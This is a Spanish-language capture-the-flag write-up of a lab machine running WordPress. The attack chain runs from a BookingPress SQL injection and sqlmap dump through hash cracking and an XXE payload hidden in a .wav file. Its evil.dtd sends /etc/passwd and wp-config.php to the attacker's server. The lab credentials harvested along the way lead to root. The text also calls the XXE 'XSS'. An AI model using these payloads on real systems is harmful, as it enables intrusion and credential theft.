Máquinas/CTF

Máquina resuelta


1. Comprobación del sistema operativo

python whichSystem.py 10.10.11.186

Tiene como salida:

10.10.11.186 (ttl -> 63): Linux

 

2. Descubrimiento de puertos y servicios

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.186

Obtenemos el siguiente resultado:

PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

 

3. Comprobamos servicios y lanzamos scripts principales contra dichos puertos

nmap -sCV -p21,22,80 10.10.11.186

Observamos que nos devuelve la siguiente salida:

PORT   STATE SERVICE VERSION
21/tcp open  ftp?
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
|   256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_  256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.93SVN%I=7%D=2/28%Time=63FE1B4A%P=x86_64-unknown-linux-gn
SF:u%r(GenericLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff
SF::10\.10\.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20mor
SF:e\x20creative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20
SF:creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Debemos añadir entonces metapress.htb al archivo /etc/hosts:

 

4. Recorremos la página web

Navegando por la página web observamos que existe un recurso específico para la gestión y reserva de eventos http://metapress.htb/events/. Mirando el código fuente, o mediante la herramienta Wapalyzer, nos damos cuenta de que utiliza el software BookingPress. Podemos entonces buscar por internet alguna vulnerabilidad asociado con dicho servicio, apareciendo entonces la siguiente: https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357.

En dicho exploit se nos pide, que por ejemplo ejecutemos el siguiente comando, para obtener la versión de la base de datos:

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

Pero observamos como no causa ningun efecto, y por lo tanto no se produce ninguna salida. Investigando un poco sobre dicho exploit nos damos que esto puede ser debido por el wpnonce, pues no es igual para todos los casos, por lo que buscamos dicho valor en el código fuente de la página web y obtenemos el siguiente valor wpnonce=9ac98eaf15. Por lo que ahora ejecutamos el siguiente comando con el nuevo valor de wponce establecido:

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=9ac98eaf15&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

Observamos entonces la siguiente salida, en la que somos capaces de obtener la versión de diferentes servicios:

[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]#

 

5. Automatización del ataque

Llegados a este punto podemos tratar de sacar información manualmente realizando peticiones contra la base de datos. O directamente utilizar la función sqlmap para lanzar un ataque automático contra dicha base datos. Nosotros nos vamos a decantar por esta segunda opción. Para ello primero deberemos enviar la siguiente petición curl para que sea procesada por nuestro proxy (burp):

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=9ac98eaf15&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' -x 127.0.0.1:8080

Una vez capturada, la guardamos en un archivo con extensión .req, en nuestro caso con el nombre request.req. A mayores debemos de modificar el contenido de dicho archivo, quitando la parte de la inyección y quedando de la siguiente manera, con el campo total_service con el valor 1.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: curl/7.87.0
Accept: */*
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
Connection: close

action=bookingpress_front_get_category_services&_wpnonce=9ac98eaf15&category_id=33&total_service=1

A continuación con la herramienta sqlmap deberemos de seleccionar la petición a realizar y el parámetro sobre el cual queremos hacer la inyección, que en nuestro caso será total_service. En un primer momento listamos las bases de datos de dicha aplicación, ejecutando para ello el siguiente comando:

sqlmap -r request.req -p total_service --dbs

Y obtenemos que existen las dos siguientes bases de datos:

[17:23:39] [INFO] fetching database names available databases [2]:
[*] blog
[*] information_schema

Lìstamos la informacion de las tablas de la primera base de datos mediante el siguiente comando:

sqlmap -r request.req -p total_service -D blog --tables

Y obtenemos la siguiente salida:

| wp_bookingpress_appointment_bookings |
| wp_bookingpress_categories           |
| wp_bookingpress_customers            |
| wp_bookingpress_customers_meta       |
| wp_bookingpress_customize_settings   |
| wp_bookingpress_debug_payment_log    |
| wp_bookingpress_default_daysoff      |
| wp_bookingpress_default_workhours    |
| wp_bookingpress_entries              |
| wp_bookingpress_form_fields          |
| wp_bookingpress_notifications        |
| wp_bookingpress_payment_logs         |
| wp_bookingpress_services             |
| wp_bookingpress_servicesmeta         |
| wp_bookingpress_settings             |
| wp_commentmeta                       |
| wp_comments                          |
| wp_links                             |
| wp_options                           |
| wp_postmeta                          |
| wp_posts                             |
| wp_term_relationships                |
| wp_term_taxonomy                     |
| wp_termmeta                          |
| wp_terms                             |
| wp_usermeta                          |
| wp_users                             |

Nos llama la atención la última tabla llamada wp_users, por lo que procedemos a extraer su contenido mediante el siguiente comando:

sqlmap -r request.req -p total_service -D blog -T wp_users --dump

Y observamos las dos siguientes entradas, en las que podemos ver dos usuarios (admin y manager) y dos contraseñas en formato hash para cada uno de ellos:

1  | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb   | admin      | 0           | admin        | admin         | 2022-06-23 17:58:28 | <blank>    
2  | <blank>              | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager    | 0           | manager      | manager       | 2022-06-23 18:07:55 | <blank>  

 

6. Crackear los hashes de las contraseñas

Podemos entonces intentar crackear los hashes de las contraseñas utilizando para ello la herramienta jhon. Para ello creamos un archivo hashes con el siguiente contenido:

hashes:

    $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
    $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

Y utilizando como dicctionario rockyou.txt lanzamos la herramienta jhon:

john -w=/usr/share/wordlists/rockyou.txt hashes

Siendo capaz de obtener que para el usuario manager, su credencial es partylikearockstar.

 

7. Intento de acceso al sistema

Luego de comprobar que no podemos acceder al servicio ftp, ni al servicio ssh con dichos credenciales de usuario, intentamos acceder al panel de configuracion de wordpress, el cual está en el endpoint http://metapress.htb/wp-admin. Luego de introducir dichos credenciales (manager:partylikearockstar), podemos ver como tenemos acceso.

Con la extensión del wapalyzer vemos que estamos ante un wordpress version 5.6.2, por lo que podemos buscar exploits por Internet que afecten a dicha versión, encontrando https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447, en el que a grandes rasgos nos dicen que podemos realizar una explotación XSS mediante un archivo .wav. Para ello es necesario realizar los siguientes pasos:

  1. Empezamos creando un archivo .wav, mediante el siguiente comando, en el que le decimos que obtenga de nuestra maquina host un archivo en formate .dtd.

    echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.93:8888/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
    
  2. Creamos entonces el archivo evil.dtd, con el siguiente contenido, en el que le decimos a la máquina objetivo que nos realiza una petición http, con el contenido el base64 del archivo /etc/passwd:

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.93:8888/?p=%file;'>" >
    
  3. Lanzamos un servidor con Python, en el directorio en el que creamos el archivo evil.dtd:

    sudo python -m http.server 8888
    
  4. Subimos el archivo .wav al siguiente endpoint http://metapress.htb/wp-admin/media-new.php. Y observamos que automáticamente obtenemos la siguiente respuesta:

    10.10.11.186 - - [01/Mar/2023 10:48:29] "GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -
    

    Si decodificamos esto en base64, por ejemplo con la herramienta ciberchef, observamos que se trata del fichero /etc/passwd:

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
    systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
    sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
    jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
    systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
    systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
    mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
    proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
    ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
    

 

8. Explotación de XSS

En este punto se nos puede ocurrir obtener por ejemplo la clave ssh del usuario jnelson, mediante la vulnerabilidad XSS. Pero observamos que no obtenemos nada de vuelta, por lo que descartamos esta opción.

Podemos intentar obtener el archivo de configuracion del servicio ftp. Este normalmente se encuentra en la ruta /etc/vsftpd.conf pero no somos capaces de obtener nada. También probamos con la ruta /etc/proftpd.conf y /etc/proftpd/proftpd.conf pues se trata del servicio proftpdpero tampoco somos capaces de obtener nada.

Se nos ocurre mirar entonces la extensión wappalyzer sabiendo que la página web utiliza el servicio nginx, por lo que intentamos obtener el fichero de configuracion de sites-available. Para ello deberemos de configurar el archivo evil.dtd, con el siguiente contenido:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/nginx/sites-enabled/default">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.93:8888/?p=%file;'>" >

Luego de decoficarlo en base64, observamos que obtenemos lo siguiente:

server {

    listen 80;
    listen [::]:80;

    root /var/www/metapress.htb/blog;

    index index.php index.html;

        if ($http_host != "metapress.htb") {
                rewrite ^ http://metapress.htb/;
        }

    location / {
        try_files $uri $uri/ /index.php?$args;
    }
    
    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
    }

    location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
        expires max;
        log_not_found off;
    }

}

Como podemos observar, no encontramos nada interesante. Sabemos a mayores que utiliza wordpress, asique intentamos obtener el fichero de configuracion wp-config.php. Este como podemos saber del anterior fichero se va a encontrar en la ruta /var/www/metapress.htb/blog, por lo que deberemos de configurar el archivo evil.dtd de la siguiente manera:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.93:8888/?p=%file;'>" >

Observando que obtenemos el siguiente resultado:

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
 * Authentication Unique Keys and Salts.
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
 * WordPress Database Table prefix.
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
    define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

En el como ppodemos observar existe un usuario ftp con los credenciales metapress.htb:9NYS_ii@FyL_p5M2NvJ.

 

9. Accedemos al ftp

Intentamos acceder con dichos credenciales al servicio ftp:

ftp 10.10.11.186 

Podemos observar el contenido de dicho repositivorio, viendo que existen dos directorios:

# cd 

    drwxr-xr-x   5 metapress.htb metapress.htb     4096 Oct  5 14:12 blog
    drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5 14:12 mailer

Si accedemos a la carpeta de blog vemos lo siguiente:

# cd blog
# ls

    -rw-r--r--   1 metapress.htb metapress.htb      405 Feb  6  2020 index.php
    -rw-r--r--   1 metapress.htb metapress.htb    19915 Feb 12  2020 license.txt
    -rw-r--r--   1 metapress.htb metapress.htb     7278 Jun 26  2020 readme.html
    -rw-r--r--   1 metapress.htb metapress.htb     7101 Jul 28  2020 wp-activate.php
    drwxr-xr-x   9 metapress.htb metapress.htb     4096 Oct  5 14:12 wp-admin
    -rw-r--r--   1 metapress.htb metapress.htb      351 Feb  6  2020 wp-blog-header.php
    -rw-r--r--   1 metapress.htb metapress.htb     2328 Oct  8  2020 wp-comments-post.php
    -rw-r--r--   1 metapress.htb metapress.htb     2032 Jun 23  2022 wp-config.php
    -rw-r--r--   1 metapress.htb metapress.htb     2913 Feb  6  2020 wp-config-sample.php
    drwxr-xr-x   6 metapress.htb metapress.htb     4096 Oct  5 14:12 wp-content
    -rw-r--r--   1 metapress.htb metapress.htb     3939 Jul 30  2020 wp-cron.php
    drwxr-xr-x  25 metapress.htb metapress.htb    12288 Oct  5 14:12 wp-includes
    -rw-r--r--   1 metapress.htb metapress.htb     2496 Feb  6  2020 wp-links-opml.php
    -rw-r--r--   1 metapress.htb metapress.htb     3300 Feb  6  2020 wp-load.php
    -rw-r--r--   1 metapress.htb metapress.htb    49831 Nov  9  2020 wp-login.php
    -rw-r--r--   1 metapress.htb metapress.htb     8509 Apr 14  2020 wp-mail.php
    -rw-r--r--   1 metapress.htb metapress.htb    20975 Nov 12  2020 wp-settings.php
    -rw-r--r--   1 metapress.htb metapress.htb    31337 Sep 30  2020 wp-signup.php
    -rw-r--r--   1 metapress.htb metapress.htb     4747 Oct  8  2020 wp-trackback.php
    -rw-r--r--   1 metapress.htb metapress.htb     3236 Jun  8  2020 xmlrpc.php

Nos llama la atención la carpeta wp-admin, por lo que listamos su contenido:

# cd wp-admin
# ls

    -rw-r--r--   1 metapress.htb metapress.htb    24543 Feb 22  2021 about.php
    -rw-r--r--   1 metapress.htb metapress.htb     4837 Oct 15  2020 admin-ajax.php
    -rw-r--r--   1 metapress.htb metapress.htb     2832 Jan 29  2020 admin-footer.php
    -rw-r--r--   1 metapress.htb metapress.htb      406 Feb  6  2020 admin-functions.php
    -rw-r--r--   1 metapress.htb metapress.htb     8620 Oct 29  2020 admin-header.php
    -rw-r--r--   1 metapress.htb metapress.htb    12133 Jul 22  2020 admin.php
    -rw-r--r--   1 metapress.htb metapress.htb     1671 Feb  6  2020 admin-post.php
    -rw-r--r--   1 metapress.htb metapress.htb     3826 Oct  8  2020 async-upload.php
    -rw-r--r--   1 metapress.htb metapress.htb     9850 Jan 28  2021 authorize-application.php
    -rw-r--r--   1 metapress.htb metapress.htb    11418 Sep 18  2020 comment.php

Vemos que existe un archivo llamado admin.php, por lo que lo obtenemos para observar su contenido:

get admin.php

Observamos que al principio del fichero hay lo siguinte:

<?php
/*
 * This script will be used to send an email to all our users when ready for launch
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;                               
$mail->isSMTP();            

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;                                   

$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";

$mail->addAddress("info@metapress.htb");

Es decir, vemos lo que pueden ser una credenciales jnelson:Cb4_JmWM8zUZWMu@Ys.

 

10. Accedemos como el usuario jnelson

Accedemos mediante el servicio ssh con dicho usuario y contraseña, observando que conseguimos acceso al sistema:

ssh jnelson@10.10.11.186 

 

11. Flag de usuario

Somos capaces de obtener la flag de usuario -> 16803612e80d4252e71267e0c570f529

 

12. Escalada de privilegios

Indagando por el sistema observamos una carpeta con el nombre .passpie en el directorio del usuario. Passpie es un gestor de contraseñas, y su comando para listar las claves guardadas es # passpie, obteniendo el siguiente resultado:

╒════════╤═════════╤════════════╤═══════════╕
│ Name   │ Login   │ Password   │ Comment   │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh    │ jnelson │ ********   │           │
├────────┼─────────┼────────────┼───────────┤
│ ssh    │ root    │ ********   │           │
╘════════╧═════════╧════════════╧═══════════

Por lo que intentamos obtener la contraseña de root mediante el sigueinte comando, pero no somos capaces de obtenerla:

passpie export pass

 

13. Observamos archivos del sistema

Vemos que existe un archivo /home/jnelson/.passpie/.keys que contiene un clave privada cifrada mediante pgp. Nos la copiamos a nuestro equipo e intentamos un ataque por fuerza bruta. Para ello primero la convertimos a un formato entendible para jhon mediante el siguiente comando:

gpg2john key > gpg.john

Lanzamos entonces el ataque:

john -w=/usr/share/wordlists/rockyou.txt gpg.john

Obtenemos como resultado lo siguiente:

blink182         (Passpie)
1g 0:00:00:02 DONE (2023-03-01 11:32) 0.3649g/s 61.31p/s 61.31c/s 61.31C/s ginger..987654
Use the "--show" option to display all of the cracked passwords reliably
Session completed

 

14. Obtención de contraseñas

Intentamos de nuevo obtener las contraseñas a través del gestor passpie, introduciendo la contraseña rescatada anteriormente:

touch pass
passpie export pass 

Obteniendo como resultado lo siguiente:

credentials:
- comment: ''
  fullname: root@ssh
  login: root
  modified: 2022-06-26 08:58:15.621572
  name: ssh
  password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
  fullname: jnelson@ssh
  login: jnelson
  modified: 2022-06-26 08:58:15.514422
  name: ssh
  password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0

Por lo que nos hacemos root mediante # su root e introducimos la credencial p7qfAZt4_A1xo_0x.

 

15. Flag de root

Somos entonces capaces de obtener el flag del usuario root -> 88570c370dc564d1cb5aee187980f08a